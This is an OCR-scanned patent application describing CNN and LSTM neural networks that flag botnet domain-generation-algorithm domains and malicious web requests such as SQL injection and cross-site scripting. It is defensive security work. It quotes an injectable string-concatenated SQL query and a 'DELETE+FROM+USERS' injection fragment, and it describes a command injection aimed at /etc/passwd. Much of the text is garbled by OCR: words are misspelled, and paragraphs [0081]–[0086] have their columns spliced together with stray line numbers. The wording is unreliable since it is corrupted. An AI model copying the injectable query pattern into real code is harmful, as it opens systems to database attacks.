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Abstract

There is provided a neural network system for detection of domain gen;aration algorithm
generated domain names, the neural network system comprising: an input receiver
configured for receiving domain names from one or more input saurces; a convolutional
neural network unit including one or more convolutional layers, the convolutional unit
configured for receiving the input text and processing the input text through the one or
more ¢onvolutional layers; a recurrent neural network unit including one or more long short
term memory layers, the recurrent neural network unit configured to process the output
from the convolutional neural network unit to perform pattem recognition; and a
classification unit including one or more classification layeré, the classification unit
configured to receive output data from the recurrent neural network unit to perform a
determination of whether the input text or portions of the input text are DGA-generated or

benign domain names.
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SYSTEMS AND METHODS FOR CYBERBOT NETWORK
DETECTION

CROSS REFERENCE

[0001] This application is a non-provisional of, and claims afl benefit of, including priority

to:

v United States Patent Application No. 62/480856, dated 03-Apr-2017 entitied:
SYSTEMS AND METHODS FOR MALICIOUS CODE DETECTION, incorporated
herein by reference; and

« United States Patent Application No. 62/546108, dated 16-Aug-2017 entitled:
SYSTEMS AND METHODS FOR CYBERBOT NETWORK DETECTION,
incorparated herein by reference.

FIELD

[0002] The present disclosure generally relates to the field of cybersecurity, and more
particularly, to systems and methods for cyberbot network detection.

INTRODUCTION

[0003] Cybersecurity and combatting cyberbot networks is an increasingly difficult
challenge organizations face in protecting computing systems and safeguarding data.
Cyberbot networks include compromised host computing devices or bots that are infected
with malware. The bot can communicate with a central server through a command and
control channel. When instructed by the central server, a group of bots, or botnet, ¢an be
used for nefarious purposes such as denial of service aftacks, sending spam messages,
stealing private data, efc.

[0004] Botnets typically include a large number of connected devices (the “bots”), each
being instructed to conduct malicious activities by way of sending instructions to the
connected devices. In some ctases, the connected devices are sumreptitiously modified to
receive commands, and are controlled through a command and control server.
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[0005] With enough connected devices, the command and control server can unjeash a
coordinated attack using the combined resources of the connected devices. For example,
the connected devices can, in concert, transmit a large number of requests to overwhelm a
web server or web service. In some cases, the command and control server instructs the
connected devices to transfer personal information, such as financial information, among
others. Rather than conducting a ¢coordinated attack, in these cases, the cyberbot network is
utilized for information theft.

[0006] As cybersecurity defenses improve, the address (real or virtual) of the command
and control server (or servers) becomes a vulnerability, which when detected, can be used
to mount an effective cybersecurity counterattack or cybersecurity response. For example,
network traffic o the command and control server can simply be shut down by way of a
firewall permission, blacklisting of the command and control server, among others.

[0007]  Accordingly, botnet architecture is adapted to evade detection and disruption of the
location of the command and control server.,

SUMMARY

[0008] Using a single hard-coded domain name that resolves to the location of a
centralized command and control server can make a cybarbot network easy to shut down
with the aid of DNS (domain name servers) providers and internet service providers. To
avoid this, cyberbot neiworks have been designed to locate their command and control
server using automatically generated domain names as an attempt to obfuscate and reduce
an ability to disrupt communication to and from the command and control server.

[0009] It is desirable to provide an improved computer system and mechanism that is
configured to overcome some attempts to obfuscate the location of the command and
control server. In particular, devices, systems, apparatuses, and computer readable media
are described in various embodiments that are specially configured to estimate locations of
command and control servers that are generated by mechanisms employed by cyberbot
networks to automnatically establish domain names linked fo their underlying locations.

CAN_DMS: 111331569\ 2. ' Cyberbot Hunters
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[0010] As described herein or otherwise, in some scenarios, deep learning technigues
may be effective in processing computer code in applications such as cyberbot network
domain name detection. Automatically generated domain narnes is a form of language
having concepts such as grammar and context, but has its own idiosyncrasies built in.

[0011] In some embodiments, the present disclosure dascribes a system which utilizes
deep learning architectures to detect malicious domain names as an (unnatural) tanguage
processing problem. In some embodiments, the system is configured based on the structure

and particularities of computer-based domain name generation.

[0012] Embodiments herein are described both in relation to code segments, and to a
more particular approach tailored specifically to classifying domain names.

{0013] As described in various embodiments, malicious code detection is approached
from a language perspective, by using Natural Language Processing (NLP) to classify
domain names, and portions thereof. To this end, Applicants have developed systems,
methods, devices, and computer readable media implementing a deep learning model that
can detect malicious domain names with human-expert level precision and at speeds that
may be orders of magnitudes faster than humans.

[0014] The system is directed to improving security and privacy, intrusion detection,
improved computers and computing technigues, using natural language processing and
neural networks. A practical, tangible system is described that, in some embodiments, is a
special purpose device that is adapted for placement or interconnection with a computing
infrastructure, such as a data center. In a specific embodiment, the special purpose device
is a hardware appliance including a neural network stored in local ar connected in cloud
storage, which is used to parse code during development, compilation, debugging, or review,
such that decision support interface elements are rendered (e.g., overlaid) in relation to
source code or object code elements. The hardware appliance can be miniaturized and
provided in conjunction with {or within) a personal computer or mobile tablet pl'atform for
providing real or near-real time feedback as code segments are provided to the hardware
appliance.

CAN_DMS: \111331569\1 -3- Cyberbot Hunters
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[0015] The structure of the neural network is described, as well as its application to a
corpus of malicious and benign domain names. A method of visualizing the neural network’s
decision process is also presented. A novel, fast and easy to frain neural network that can
classify malicious and benign domain names with human-expert level accuracy is described.
In some embodiméents, an end-to-end supervised learning approach is described that utilizes
a specialized computer system configured to process domain name inputs and is frained in
binary classification. The system is configured to utilize techniques from deep learning.

[0016] Convolutional Neural Network (CNN) layers are used for pattern detection and
compression, while Recurrent Neural Network (RNN) layers help with memory and context.
Various re-parametrization and regularization iechniques such as dropout and baich-
normalization are also discussed. The system is tested against a dataset of 50,000 labeled
server logs, and results are compared against the performance of a human expert as well
as a penetration testing sofiware. Experimental results are provided in the sections helow.

[0017] Visualizations of the “thought process” of the neural network using a selection of
malicious examples are provided. This serves to illustrate the breadth and precision of the
neural network’s detection capabilities.

{0018] In some implementations, & special purpose hardware device is provided that is a
specific hardware appliance for identifying potential cyberbot network locations as a network
security device, installed as a web filter and web traffic interception mechanism.

[0018] In an aspect, there is provided a system for detection of malicious software
generated networking addresses, the system comprising: at least one processor configured
for. receiving at least one networking address from at least one input source; converting
the at least one networking address into a plurality of inputs for a first layer of a neural
network, the neural network including at least one convolutional layer, and at least one
recurrent neural network layer, the neural network configured to generéte én output
providing an indication of whether the at least one networking address as a malicious
software generated networking address; and when the output indicates that the at least one
networking address as the malicious software generated networking address, generating

CAN_DMS: \111331669\1 -4 - Cyberbot Hunters
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signals for storing and flagging the at least one networking address as the malicious
software generated networking address,

[0020] In another aspect, receiving the at least one networking address comprises
monitoring requests to access externally addresses resources from one or more devices in
the system, the requests including one or more networking addresses.

[0021] In another aspect, converting the al least one networking address comprises
coding each character in the at least one networkimg address as an input value to the first
layer of the neural network. (neural network is configureditrained as a natural language
processing neural network).

[0022] In another aspect, coding each character in the at least one networking address
comprises including punctuation, spacing and special characters as input values to the first
layer of the neural network, ‘

[0023] In another aspect, coding each character in the at least one networking address
comprises mapping each character in the at least one networking address fo an n-
dimensional vector, where n is greater than or equal to a number of characters in a set of
possible characters in a networking address.

[0024] In another aspect, the at least one processor is configured for determining an edit
distance between the at least one networking address and at least one known malicious
software generated networking address.

[0025] In another aspect, the neural network comprises at least two parallel convolutional
layers, each configured with a different filter size.

[00261 In another aspect, the at least one processor is coriﬁgured for training the neurat
network with negatively-labelled networking addresses based on at least one website
database, and with positively-labelled networking addresses generated by at least one
malicious software generating algorithm.

CAN_DMS: \111331569\1 5. Cyberbot Hunters
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[0027] In another aspect, the output is a classification scare providing a relative indication
of whether the at least one networking address is the malicious software generated

networking address.

[0028] In another aspect, the at least one processor is canfigured for: when the output
indicates that the at least one networking address as the malicious software generated
networking address: blocking requests to access the at least one networking address;
identifying a device requesting access to the at least one networking address .as potentially
infected with malicious software; associating the at least one networking address with one or
more network addresses previously flagged as a malicious software generated networking
address for determining a malicious software neiworking address generating algorithm; or
generating an alert message indicating a potential malicious software generated networking
address was detected.

[0029] In another aspect, there is provided a neural nefwork system, including one or
more processors, configured for detection of malicious domain names, the neural network
system comprising: an input receiver configured for receiving input text in the form of one or
more domain name samples from one or more dornain name input sources; a convolutional
neural network unit including one or more convolutional layers, the convolutional neural
network unit configured for receiving the input text and processing the input text through the
one or more convolutional layers to generate a constrained set of one or more features; a
recurrent neural network unit including one or more long short term memory layers, the
recurrent neural network unit configured to perform pattern recognition on the constrained
set of the one or more feaiures and to generate output data; a classification unit including
one or more classification layers, the classification unit configured to receive the autput data
from the recurrent neural network unit to perform a determination of whether the input text or
portions of the input text are malicious domain names or benign domain names.

[0030] In another aspect, the input receiver is configured to map each character of the
one or more domain name samples fo a multi-dimensional vector, and to set a sequence
dimension of each domain name sample to a uniform sample length by padding any
remainders with empty vectors, the input receiver generating a [T} x [V] sparse matrix.

CAN_DMS: 1111331569\ -6- Cyberbot Hunters
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[0031] In another aspect, the |T| x [V| sparse matrix is received by the convolutional l
neural network unit and processed by each of the one or more convolutional layers, each

layer including a set B € RAXs filters, each with length d, which are configured to scan |
across the [T} x |V] sparse matrix.

[0032] In another aspect, the |T| x [V] sparse matrix is iteratively processed through each
of the one or more convolutional layers, and an element-wise product of each filter f* and the
[TI x [V| sparse matrix are passed through a non-linear activation function ¢.

[0033] In another aspect, a rectified finear unit provides the non-linear activation function
¢ and utilized to discard any negative values, and to retain all positive values, and the |T| x
V| sparse matrix is iteratively processed through each of the one or more convolutional
layers to reduce a size of data being analyzed at each iteration.

[0034] In another aspect, the recurrent neural network unit includes a bi-directional long
short ferm memory network including at least an input gate and a forget gate, the input gate

configured using the relation:

[0035] it = 0 (Wi -x¢+ Ui -heg +by)
[0036] , and the forget gate configured using the relation:
(0037] fi =0 (Wg-xt +Ug -heq + bp)

f0038] wherein Wy and U; are weight matrices, where x, is a single time step from a
sequence (X, - . -, X7), e is information from a previous state, beare bias vectors and o is a
sigmoid function having the relation:

1
o(x) = -
[0039] 1 +exp™
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[0040] In accordance with an aspect, there is provided a neural network system for
detection of detection of domain generation algorithm generated domain names. The neural
network system includes: an input receiver configured for receiving domain nameas from one
or more input sources: a convolutional neural network unit including one or more
convolutional layers, the convolutional unit configured for receiving the input text and
processing the input text through the one or more convolutional layers; a recurrent neural
network unit including one or more long short ierm memory layers, the recurrent neural
network unit configured to process the output from the convolutional neural network unit to
perform pattern recognition; and a classification unit including one or more classification
layers, the classification unit configured to receive output data from the recurrent neural
network unit to perform a determination of whether the input text or portions of the input text
are DGA-generated or benign domain names.

[0041] In various further aspects, the disclosure provides corresponding systems and
devices, and logic siructures such as machine-executable coded instruction sets for

implementing such systems, devices, and methods.

[0042] In this respect, before explaining at least one embodiment in detail, it is to be
understood that the embodiments are not limited in application to the details of construction
and fo the arrangemenfs of the components set forth in the following description or illustrated
in the drawings. Also, it is to be understood that the phraseology and terminology employed
herein are for the purpose of description and should not be regarded as limiting.

[0043] Many further features and combinations thereof conceming embodiments
described herein will appear to those skilled in the art following a reading of the instant

disclosure.

DESCRIPTION OF THE FIGURES

[0044]  In the figures, embodiments are illustrated by way of example. It is to be expressly
understood that the description and figures are only for thé purpose of illustration and as an

aid to understanding.

CAN_DMS: 11113315691 -8- Cyberbot Hunters
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[0045] Embodiments will now be described, by way of example only, with reference fo the
attached figures, wherein in the figures:

[0046] FIG. 1A is an illustration of a single 1D CNN filter, with receptive field d = 3 and

stride s = 2 scanning over a string of text for 3 steps, according to some embodiments.

[0047] FIG. 1B is an example text snippet from a server log, according to some
embodiments.

[0048] FIG. 2 is an example code snippet with potential malicious code highlighted,

according to some embodiments,

[0049] FIG, 3Ais an illustration of a malicious code neural network, according to some

embodiments. :

[0050] FIG. 3B is an example neural network data flow diagram, according to some

embodiments.

[0051] FIG. 3C is a block schematic diagram of an example system, according to some
embodiments.

[0052] FIG. 4 is an example text snippet with potential malicious code highlighted,
according to some embodiments.

[0053] FIGS., 5, 6, 7, and 8 illustrate example code, according to some embodiments.

[0054] FIG. 9 is an example code snippet of training data, in the form of a GET, according
to some embodiments.

Jj0055] FIG. 10 is an example code snippet of training data, in the form of a POST,
according to some embodiments,

[0056] FIG. 11 is an accuracy / speed chart, according to some embodiments.

[0057] FIG. 12 is high level drawing of a neural network.

CAN_DMS: 1113315691 -0- Cyberbot Hunters
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[0058] FIG. 13 is a pictorial example of image recognition using concurrent neural

networks,

[0059] FIG. 14 is an example text snippet illustrating features of recurrent neural

networks.

(0060] FIG. 15 is example pseudo-code illustrating function calls for an implementation of

a neural network, according to some embodiments,

[0061] FIG. 16 and FIG. 17 are example screenshots of a visualization, according to some
embodiments. The darker the font the more important the system identifies the text to be.

[0062] FIG, 18 is a visual illustration of an attention model that may be used in some

configured neural netwarks, according to some embodiments.
[0063] FIG. 19 is an example computing system, according to some embodiments.

[0084] FIGS. 20A, 20B, and 20C are examples of a SQL injection, represented by hidden
nodes from 3 different layers, according to some embodiments.

[0065] In FIG. 20A, the hidden node from the first CNN layer is quite noisy. It picks out
some useful words, but also plenty of irrelevant information. The hidden node in the third
CNN layer, shown in FIG. 20B is more focused on an aspect of the SQL injection, while for
the most part ignoring the rest of the text. Finally the hidden node in the RNN layer FiG. 20C
captures the full SQL injection. The darker the font the more important the system identifies
the text to be.

[0086] FIG. 21 is an example output of a hidden node activating when it encounters an
attack that is double-encoded, according to some embodiments. The intended payload will
be fully decoded at the web server, unless it is stopped at a security layer. If the security
layer anly decodes the input once, the payload will still get through. The darker the font the
more important the approach has estimated the text to be.

[0067] FIG. 22 is an illustration of an example cross site scripting (XSS) attack detected
by a neural network of some embodiments, where a hidden unit in the last layer is firing

CAN_DMS: \111331560\1 - 1D - Cyberbot Hunters
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while reading the attack. The darker the font the more important the approach has estimated
the text to be.

[0068] FIG. 23 is an illustration of an example of a session hijacking via a forged cookie
injection. The darker the font the more important the approach has estimated the text to be.

[0069] FIG. 24 is an illusiration where the hidden unit has detected a command injection
attack, according to some embodiments. In FIG. 24, the attacker is attempting to delete the

entire /etc/passwd directory.

[0070] FIG. 25 is an illustration of a misclassification by the neural network. In this case
the system falsely returned a negative on a data probe atternpt.

[0071] FIG. 26 is a data flow diagram showing aspects of a data flow for an example
CNN-RNN architecture, according to some embodiments.

[0072] FIG. 27 is a neural network data flow diagram showing aspects of an example
neural network architecture, according to some embodiments.

[0073] FIG. 28 is a neural network data flow diagram showing aspects of another example
neural network architecture, according to some embodiments.

DETAILED DESCRIPTION

[0074] Embodiments of methods, systems, and apparatus are described through
reference to the drawings.

[0075] The following discussion provides many example embodiments of the inventive
subject matter. Although each embodiment represents a single combination of inventive
elements, the inventive subject matter is considered to include all possible combinations of
the disclosed elements. Thus if one embodiment comprises elements A, B, and C, and a
second embodiment comprises elements B and D, then the inventive subject matter is also
considered to include other remaining combinations of A, B, C, or D, even if not explicitly
disciosed.

CAN_DMS: \111331565\1 -11- Cyberbot Hunters
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[0076] Using a single hard-coded domain name that resolves to the location of a
centralized command and control server can make a cyberbot network easy to shut down
with the aid of DNS (domain name servers) providers and internet service providers. To
avoid this, cyberbot networks have been designed to locate their command and control
server using automatically generated domain names as an attempt to obfuscate and reduce
an ability to disrupt communication to and from the command and contral server.

[0077] It is desirable to provide an improved computer system and mechanism that is
configured o overcome some attempts io obfuscate the location of the command and
controf server. In particular, devices, systems, apparatuses, and comptiter readabie media
are described in various embodiments that are specially configured to estimate locations of
command and control servers that are generated by mechanisms employed by cyberbot
networks to automatically establish domain names linked to their underlying locations.

[0078] As described herein or otherwise, in some scenarios, deep learning techniques
may be effective in processing computer code in applications such as cyberbot network
domain name detection. Automatically generated domain names is a form of language
having concepts such as grammar and context, but has its own idiosyncrasies built in.

[0079] The detection of cyberbot network domain name is a useé case directed to a neural
network system adapted for detecting malicious code, where instead of receiving malicious
code as inputs, the system receives domain names instead, which may be benign or
malicious. A frained neural network is utilized, which classifies the domain names, or
portions thereof, as benign or malicious, praviding the outputs in the form of notifications,

data structures, alerts, alarms, etc.
Malicious Code Detection

[0080]1 In some embodiments, systems, methods, and computer-readable media are
provided for implementing malicious code detection using deep leaming techniques, among
others. Malicious code detection is a challenge that has become prevalent in the modem,
electronic  signal-driven world, especially after the proliferation of internet and

communications technologies.

CAN_DMS: \1 1133156941 -12 - Cyberbet Hunters
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[0081] Malicious code detection is a problem that arises in view of technological
improvements, that exists on a massive scale. It is not a human-based problem, nor does a
, and the

computer-implemented systems and methods described below are capable of glassifying

human-based solution exist. As such, a sufficient technological response is neede

malicious code in a variety of forms.

[0082] A wider volume of increasingly sophisticated aftacks are barraging databJ ses at an
ever increasing rate. A 2016 survey of 12 countries reporied that over 280,000 redords were
breached at an average cost of $158 per record. Indirect costs such as reputgtional risk
leads to customer churn and, in turn, greater financial losses. A significant prgportion of
these breaches are caused by malicious actions including, for example, malware| infections
and SQL injections (e.g., statement = "SELECT * FROM users WHERE nafne = " +

userName +"").

[0083] To counter such exploits, Host-based Intrusion Detection Systems (HIDS) are

employed. However, current detection methodologies are heuristic driven, slow, and aften

15

20

25

inacecurate, in a worst case scenario, inaccurate classification can lead o dats

breaches

and/or catastrophic loss of data. In the best case, it can lead to false positives,
labour-intensive re-classification and ad-hoc¢ rule addition to classification algo
underlying issue is that malicious code, like all code, is a language. Previous

resufting in

tthms. The
Igorithmic

attempts to process language using hand-crafted features and rule-based methods have met

with limited success.

[0084] Applicant has undergone extensive cybersecurity research,

including

colfaborations with two universities and an international business services :%computing

company, using security audit information to conduct validation and accuracy tes

[0085]
sufficient data, can quickly and accurately detect malicious code with aroun

Applicants sought to develop methods and systems that, when {

human level precision.

[0086]
~50,000 samples both malicious and benign).

A neural network is trained on a corpus of benign and malicious

CAN_DMS: \1113315691 -13-
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leamning. Using a sufficient large and varied training set, a neural network is configured to
perform a non-linear projection of the space of benigh and malicious code, and form an

accurate decision boundary.

[0087] No rules need to be created. In fact, instead of an ever increasing rule sef, one
simply retrains the model with new examples of attacks. In essence, the neural nefwork
learns aspects of the language. The neural network learns patterns or phrases that are

considered malicious, and can remember where in the sequence these patterns appear.

[0088] Experimental results have indicated that this approach is also significantly more
accurate. Using the same test data set, a configured neural network scored 99% in
precision, recall and accuracy, while an out-ofthe-box heuristic model scored 66%,
43% and 64% respectively. Experimentai results have indicated that the approach is also
faster, for example, a configured system using a GPU implementation can process ~1500
examples in a second, vs 800/s for the out-of-the-box model One could increase the
accuracy of the out-of-the-box model by adding more rules, but it would drop the speed
down to tens of samples per second. In implementation, the neural network can be added
as a security layer that processes any user request before passing it to the server. The small
size of the network means it can be easily run on a modern machine. Moreover, in some
embodiments, the systemn is parallelized: a GPU implementation is possible and can lead ta
speed increases.

[00BY] The system may aiso be utilized to discover new attack vectors. Consider a variety
of new attacks. Amongst them were several attacks with a new common exploit, though it
wasn't clear what it was exploiting. One could train the neural network with these examples,
and it can highlight the point that it found to be anomalous. Finally it can be used for to
generate new attacks for penetration testing.

[0090] As noted above, in some embodiments, the neural network may, for example, be
able to work in reverse and generate malicious code. The specific combination of data
processing steps performed on a per-character basis in combination with machine leaming
applied specifically to malicious Internet traffic is innovative. The approach, for example, for
purposes of penetration testing, can be trained to generate new code that may or may not be
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malicious. If the neural network determines it is malicious, the neural network is rewarded.
Over time, the system can possibly learn new attacks that could explait software, alerting a
developer fo vulnerabilities prior to launch.

[0081] The system may be used o achieve various objectives such as providing a neural
network configured to detect malicious code by processing input training samples, providing
a neural network configured to predict potential attacks based on a series of probes, and
potentially generate effective / probable attacks to test application vulnerability and uncover

potential zero-day vectors.

(0092] Deep learning approaches are helpful in the field of cyber-security, and various
approaches have been taken to use neural networks to ¢ategorize intrusion detection data
based on various features, and from a language perspective, a prior approach has been
taken to use word embedding and neural networks to model system-call language and
design an anomaly-based host based intrusion detection system (HIDS).

[0093] However, no work, to Applicants’ knowledge, is using deep learning and NLP to
classify code as benign or malicious. A neural network, described in various examples and
embodiments, was modelled on that employed in for the purpose of classifying text
documents, A method is provided that is used for classifying malicious code.

[0094] In this approach, code is considered from the perspective of a language. Code is
the product of human ingenuity and, along with concepts such as grammar and context,
code has its own idiosyncrasies built in. As such, no rule-based system can fully process this

language.

[0095] Recently, the application of deep learning to the field of Natural Language
Processing has led to performance leaps in areas such as speech recognition, text

classification, summarization and machine translation.

[0096] A potential approach therefore, is to treat malicious code detection as an
(Unnatural) Language Processing problem, and apply deep leaming methods to form a
solution. As described in various embodiments, an innovative, fast and easy to train neural
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network that can classify malicious and benign code is provided, and in some embodiments,

the neural network is found to have around or above human-expert level accuracy.

00971 The supervised-learning approach is described, along with the selection method
around how to determine an appropriate set of features, A strength of deep learning is that it
automatically leamns representations; as information passes through deeper and deeper
layers, more complex features are leamed. The mesthod uses several state-of-the-art
techniques from deep learning.

Neural Networks

[0098] A neural network may include, for example, three layers: an input layer, a hidden
layer and an output layer. The hidden layer is a linear combination of the input x and a bias
(e.g., z=Wx+b). A sample neural network diagram 1200 is shown at FIG, 12. These
neurons are then activated via some nonlinearity (e.g., a= tanh (z)). The output layer is
configured to generate an assessment of input layer (e.g., Dog/Cat), and errors are
corrected via back propagation.

[0099] Convolutional Neural Networks are typically used with images (e.g., image
classification), and CNNs scan across an image with filters that pick out different patterns,
for example, as shown in the example 1300 of FIG. 13. Each successive layer picks out
more complex patterns, and CNNS can be used for also be used for natural language
processing.

[00100] Recurrent neural networks are configured to process with sequencéd data (e.g.,
time series or text), and the hidden state of an RNN may be updated with the latest data
point along with a history of all previous data points. The RNN has a memory of past events,
and this may be particularly useful in NLP when relevant text is in different parts of a sample.
There are different flavours of RNN such as LSTM and GRU. As an example, FIG. 14 is a
sample text block 1400 that shows where relevant text 1402, 1404 are in different portions of
the text block 1400.
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[00101] The system and method of some embodiments provides a malicious code
detection / generation naural network where malicious code detection / generation is treated
as a Natural Language Processing (NLP) problem.

[00102] In accordance with some embodiments, ¢ode is analyzed on a per character level,
and provided into a sequence of 3 CNN layers. Features are provided as inputs into a
bidirectional LSTM (RNN), and the final output declared Malicious/Safe.

[00103] The Convolutional Neural Network (CNN) layers are used for pattern detection and
compression, while the RNN helps with memory and context. Various regularization
techniques such as batch-normalization and dropout are also employed. In order to interpret
how the algorithm makes its decisions, it is important to understand how the neural network
is “thinking". A visualization technique is developed, illusirating the similarity between the
thought processes of humans and neural networks.

[00104] On a fundamental level, malicious code is an computer-based exploit of computer
operations. As such, it is in essence a computer-based problem. Malicious code detection is
also a classic big data problem. Each day, a larger volume of a wider variety of malicious
code is attacking piatforms with greater velocity. Current detection methodology is heuristic
driven, with high false positive rates that then require human intervention at the cost of many

man hours,

[00105] The approach of some embodiments was found fo be particularly effective at
detecting cross-site scripting and SQL injection attacks. Experimental results indicate that
there may be potential for 98% accuracy rate, as shown in some experiments for some
specific scenarios. While new attacks could be detected using this system,. if there is an
entirely new attack vector for which the neural network has no training, there may be a lower
likelihood of detection.

[00106] The specific corpus of data used in Applicants’ experiments was a collection of http
request logs, obtained during security audits at various educational institutions and
businesses, among other locations. An example http request 100 is provided in FIG. 1B.
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[00107] Within the malicious code data set, there may be, for example, instances of SQL
injection (SQLI) and Cross-Site Seripting (XS8). An example 200 of SQLi ¢an be seen in
FIG. 2, where, for example, an authorization deletion is being attempted. The SQLiis shown
in the highlight (DELETE+FROM+USERS).

Model Design

[00108] To detect malicious code, the system is configured to implement deep learning
methods that are employed in Natural Language Processing (NLP). The samples were read
individually on a per-character basis. There was, in this example, a vocabulary -of 80
characters and a sequence length of 1300 characters. Shorter samples were padded with
zeros 1o the length of the longest sample,

[00109] The neural network architecture includes three types of layers: convelutional
layers, recurrent layers and a classification layer. Before input, the text is converted into a
1300 x 80 matrix, where the jth row represents the ith letter of the sample, and each column
is of value 0, except for the column that represents the character, which has value 1, This is

known as one-hot encoding.

[00110] Beginning with the input of a sequence of ane-hot encoded vectors X = (e, e, . . .
, €1 ), @ convolutional layer is applied, resulting in a new set of feature vectors F = (f,, f,, . . .
. Tr') of size |F], and with sequence length T'. At this point batch normalization and dropout

can be applied, resulting in a regularized output ¥. More convolutional layers can be
applied, along with regularization, as needed. Next, a bidirectional LSTM is employed

— : o :
resulting in two hidden state vectors [bt.01] each with dimension equivalent to the number
of LSTM hidden states. Finally, these features are provided into a classification layer, in this
case a sigmoid function.

{00111] FIG. 1A is an illustration of a single 1D CNN filter, with receptive field d = 3 and
stride s = 2 scanning over a string of text for 3 steps. The letters here are visual
representations of their one-hot encoded form. Each filter assigns a (+/-) weight to each of
the 3 letters that it scans in a given time step, then adds them togéther before passing the
value through a nonlinear function
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[00112] The 1D convolutional layer applies a filier of sequence length 7 (in this case length
7) that scans across the sample and returns a value for each step. The filter, in some
embodiments, is essentially a vector of 7 values that perform a basic linear regression on the
input before being passed through a non-linear activation. In this example, the non-linear
activation is a rectified linear unit (Rel.u) that keeps the value if positive, and sets it to zero if
negative. As the network is trained, the filter values are updated so that they are more
effective at identifying and/or determining patterns.

[00113] Another feature of convolutional layer filters is that they can have a stride: meaning
how many letters it skips before applying the filter again. This has the added benefit of
compressing data and reducing computational complexity. Three convolutional layers may
be used: one with stride 1, and two with stride 2. After each convolutional layer, the system
is configured to apply dropout and batch narmalization. Dropout randomly switches off some
filters during training. This prevents a model from relying on some filters more than others as
this can lead to overfitting.

[00114] Batch-normalization is a sound application of statistics to normalize the data that is
being processed in batches. Following the convolutional layers, the system applies a bi-
directional Recurrent layer, specifically a Long Short Term Memory (LSTM) layer. An LSTM
has the ability to act like a normal neural network (passes the sample data through a linear
function, then a non-linear activation) and then remember the output of that function when
the next sample comes along. The LSTM then has memory of all past text that it processed,
and bhecause the LSTM is bidirectional, the LSTM has memory of all future text too. This may
be useful when dealing with long sequences (e.g., 1300 characters). |

[00115] The last layer in the network is the classification layer. In some embodiments, the
classification layer is configured as a single neuron that determines whether or not the code
is malicious, based on the input of all the cells from the LSTM. In training the neural network,
the system may be configured to optimize the cost function. In other words, the system is
configured to minimize how wrong the algorithm is for a given set of weights (the values that
make up the filters and cells of the convolutional and recurrent layers).
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[00118] Stochastic gradient descent using Adam™ as an optimizer can be performed. FIG.
3 is an illustration of the flow of data 300 in this particular neural network.

- [00117] Example code is also provided in (written in keras™, a python package) FIGS. 5-8,

in screenshots 500, 600, 700, and 800. The system can be implemented, for example,
using various processors and memory in the form of a neural network system. An input
receiver can be used for receiving input text from one or more code input sources (e.g.,
system logs, security audits, real time input into text fields). -

[00118] A convclutional neural network unit may be used to provide the n convolutiona)
layers and is configured for receiving the input text and processing the input text through the
various convolutional fayers (for example, having various different parameters that may aid

in processing, such as stride length).

[00119] A recurrent neural network unif is provided having one or more long short term
mermory layers, the recurrent neural network unit configured to perform pattern recognition,
and a classification unit may be utilized to receive the output data from the recumrent neural
network unit to perform a determination of whether the input text or portions of the input fext
are malicious code or benign code. This can be used, for example, in the form of a realtime
input verification system, a security auditing system (e.g., run nightly) to validate code, etc.,
and these applications may be dependent on how long processing takes to accomplish and
the amount of resources available to conduct the processing. The neural netwark system of
claim wherein the convolutional neural network unit is configured to perform dropout and
batch normalization o intermediate oufput generated at each of the one or more
convolutional layers.

Example implementation

[00120] A multi-step machine learning neural network structure may be provided, as shown
in In some embodiments on FIG, 3A and FIG. 3B. Rather than a heuristic/rule-based
approach to malicious code detection, Applicants has built a neural netwark that can detect
new attacks that, in some embodiments, would not be caught or would have less likelihood
of being caught by a traditional approach without modifying a detection rule.
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[00121) Referring to FIG. 3A, an illustration 300A of the full mode! for the malicious code
neural network is shown, whereby a SQL injection (a) is read into a convolutional layer (b)
which picks up patterns in the text These features are then regularized via batch
normalization and dropout (c). Next they pass through the recurrent layer (d), which
remembers the sequence of patterns, and generates new features. Finally these features
are passed through the classification layer (e) which labels the SQLi as malicious.

[0012Z2] in FIG. 3B, a flow chari 300B showing example inputs being received, multiple
iterations of the convolution / batch normalization process, providing into a bidirectional
LSTM, leading to a single output, are provided. In FIG. 3B, the sizes and dimensionality of
the inputs and outputs are shown, | -

[00123] An example block schematic is provided at FIG. 3C, showing example modules
and units that may be implemented in software, hardware, embedded firmware, or a
combination thereof. There may be more, different, altemate modules or units, and those
shown are by way of example only.

[00124] The system 10 is configured to receive, at input processor and feature vector
generator 104, as input, code shippets (e.9., a partion of raw web traffic in plain text, such as
any web traffic such as what is shown in FIG. 2). Web traffic can be used, but in some
embodiments, the system and methods can be applied to various other types of code (e.g.,
Javascnipt™). For example, the code snippets may be provided by a text editor or other
coding environment (e.g., real-time or near-real time, on writing of code or compilation or
debugging).

[00125] The system is configured to perform a series of processing steps on that data as
shown in FIG. 3A. The neural network analyzes the input on a per-character basis, not
words or commands. The input processor and feature vector generator 104 generates a
feature vector extracted from code inputs or segments, received across a network (e.g., the
Internet or an intranet, or point-to-point). In some embodiments, the system 10 resides on a
computing device itself, and accordingly, there may be no network 150 (e.g., residing all on
the same integrated circuit), or network 150 is a message bus infrastructure.
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[00126] The neural network, as described in various examples below, includes one or more
neural network units which are combinations of hardware and software that include data
storage elements, storing weights, connections, computing nades representing different
layers (e.g., input layers, hidden layers, oufput layers), error values, activation functions,
among others. Underlying computing elements of neural network units, including hardware
and/or software implement the layers and connections of the neural network, and these
elements may include data storage, data registers, pointers, data structures, data memories,
etc. The neural network data may be stored, for example, on a data storage, such as
database 150.

[00127) The system 10 can, for example interoperate with a real or near real-time text

editor 102, which a developer or programmer may be writing code into. The text editor 102

may submit code segments for processing, and the neural network 20 is utilized to conduct
real-time classifications of the code to provide dynamic feedback to the user by way of the
text editor 102, through one or more visual interface elements controlled by visualization
controller 114, for example, using an overlay engine 116. The visual interface elements for
control may include text / comment bubbles, changing of characieristics of text (font size,
color, attributes), among others. As shown in various examples within the figures, an
example visual interface element for controlling during rendering of the text on the text editor
102 includes changing emphasis on various words by way of changing text color (e.g.,
lighter signifies less risk, darker signifies more risk). Other visualizations are passible.

[00128] In another example, the system 10 receives code being received, executed or
evaluated, or scanned at a computing system. These code segments are then provided by
neural network 20, and similarly, the neural netwark provides feedback based on

classifications of the code segments or portions thereof as malicious or benign.

[00129] In some embodiments, the classification layer 112 is configured to output risk
profiles in the form of an aggregated data structure for downstream risk processing. For
example, a data breach may occur, and the classifications generated during the original
development of the code may be utilized to refine neural network 20, or to identify root
causes of the vuinerabilities {e.g., poor coding practices). In some embodiments, the
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classifications are analyzed using another neural network to identify common code features
where a training set of breaches and their underlying code are provided as inputs.

[00130] Alerts, alarms or other types of notifications may be generated to inform one or
mare users or downstream systems that there may be malicious code being processed by
the neural network.  Signals may be generated, for example, to automatically biock code
from executing or to quarantine the code from having further access or impact.

